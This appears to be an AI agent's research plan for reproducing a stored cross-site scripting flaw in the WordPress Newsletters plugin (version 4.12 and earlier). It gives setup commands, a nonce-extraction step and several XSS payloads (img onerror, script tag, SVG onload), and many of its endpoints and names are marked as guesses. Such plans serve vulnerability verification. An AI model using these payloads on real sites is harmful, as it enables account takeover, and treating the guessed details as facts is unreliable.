Newsletters <= 4.12 - Authenticated (Contributor+) Stored Cross-Site Scripting

This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the Newsletters plugin (v <= 4.12). Since source files were not provided, this plan relies on the vulnerability description and common patterns found in this specific plugin, marking all inferred identifiers clearly.

---

1. Vulnerability Summary

The Newsletters (newsletters-lite) plugin is vulnerable to Stored XSS because it fails to sanitize or escape user-controlled input before storing it in the database and subsequently rendering it on a page. Specifically, an authenticated user with Contributor permissions can inject malicious scripts into fields that are rendered for other users (including Administrators).

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php or wp-admin/post.php (inferred).
• Vulnerable Action: Saving newsletter templates, subscription form configurations, or custom fields (inferred).
• Payload Parameter: Likely a field like template_name, form_title, or a shortcode attribute such as button_text (inferred).
• Authentication: Requires a user with at least Contributor role.
• Precondition: The Newsletters plugin must be active. The Contributor needs access to a feature that saves configuration data or allows post content creation (shortcodes).

3. Code Flow (Inferred)

1. Entry Point: A Contributor sends a POST request to admin-ajax.php with an action like newsletters_save_template (inferred) or creates a post containing a plugin shortcode.
2. Processing: The plugin's AJAX handler or shortcode processing function receives the input.
3. Sink (Storage): The input is stored in the wp_options table, wp_postmeta, or a custom table (e.g., wp_newsletters_templates) without using sanitize_text_field() or wp_kses().
4. Execution (Output): When an Administrator views the "Templates" page or a visitor views a page containing the "Subscribe" form, the plugin echoes the stored data using echo or printf without esc_html(), esc_attr(), or wp_kses_post().

4. Nonce Acquisition Strategy

To exploit AJAX-based storage, the agent must obtain the correct nonce. For the Newsletters plugin, nonces are often localized in the admin dashboard.

1. Preparation: Create a Contributor user and a post to trigger script loading.
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password
   • wp post create --post_type=page --post_status=publish --post_title="Newsletter Test" --post_content="[newsletters_subscribe]" (inferred shortcode)
2. Navigation: Log in as the Contributor and navigate to the Newsletters admin menu or the page containing the shortcode.
3. Extraction: Use browser_eval to extract the nonce from the localized JavaScript object.
   • Check for objects like wpml_ajax (common in Tribulant plugins).
   • Command: browser_eval("window.wpml_ajax?.nonce || window.newsletters_ajax?.nonce") (inferred).

5. Exploitation Strategy

Step 1: Inject via Shortcode (Primary Path)

Contributors can edit posts. If the shortcode attributes are not escaped, this is the most direct Stored XSS path.

• URL: https://target.example.com/wp-admin/post.php
• Payload: Create or edit a post with the following content:
  [newsletters_subscribe button="<img src=x onerror=alert(document.domain)>"] (inferred attribute)
• Tool: http_request (POST) to save the post.

Step 2: Inject via AJAX Handler (Secondary Path)

If the vulnerability is in the plugin settings/templates accessible to contributors:

• URL: https://target.example.com/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: newsletters_save_template (inferred)
  • nonce: [EXTRACTED_NONCE]
  • id: 1
  • subject: "><script>alert('StoredXSS')</script> (inferred)

6. Test Data Setup

1. Users:
   • admin (Administrator)
   • attacker (Contributor)
2. Plugin Content:
   • Ensure at least one Newsletter List or Template is created so the Contributor has something to edit.
   • Place the [newsletters_subscribe] shortcode on a public page.

7. Expected Results

• The POST request returns a success code (e.g., {"success":true} or 1).
• When the Administrator navigates to the Newsletters "Templates" or "Forms" page, or when any user visits the page with the shortcode, the browser executes the JavaScript alert().

8. Verification Steps (Post-Exploit)

1. Database Check: Use WP-CLI to check if the payload is stored raw in the database.
   • wp db query "SELECT * FROM wp_options WHERE option_name LIKE '%newsletters%' AND option_value LIKE '%<script>%';"
2. Output Check: Use http_request (GET) as an Administrator and check the response body for the unescaped script tag.
   • grep "<script>alert" response.html

9. Alternative Approaches

• Attribute Breakout: If the input is inside an HTML attribute, use: x" onmouseover="alert(1)".
• SVG Payload: If the plugin allows uploading "Email Logos" or images, try an SVG with an embedded script:

  <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>
  

• Custom Fields: Check if the Newsletters "Custom Fields" feature (used for subscriber data) allows a Contributor to define field names that are not sanitized.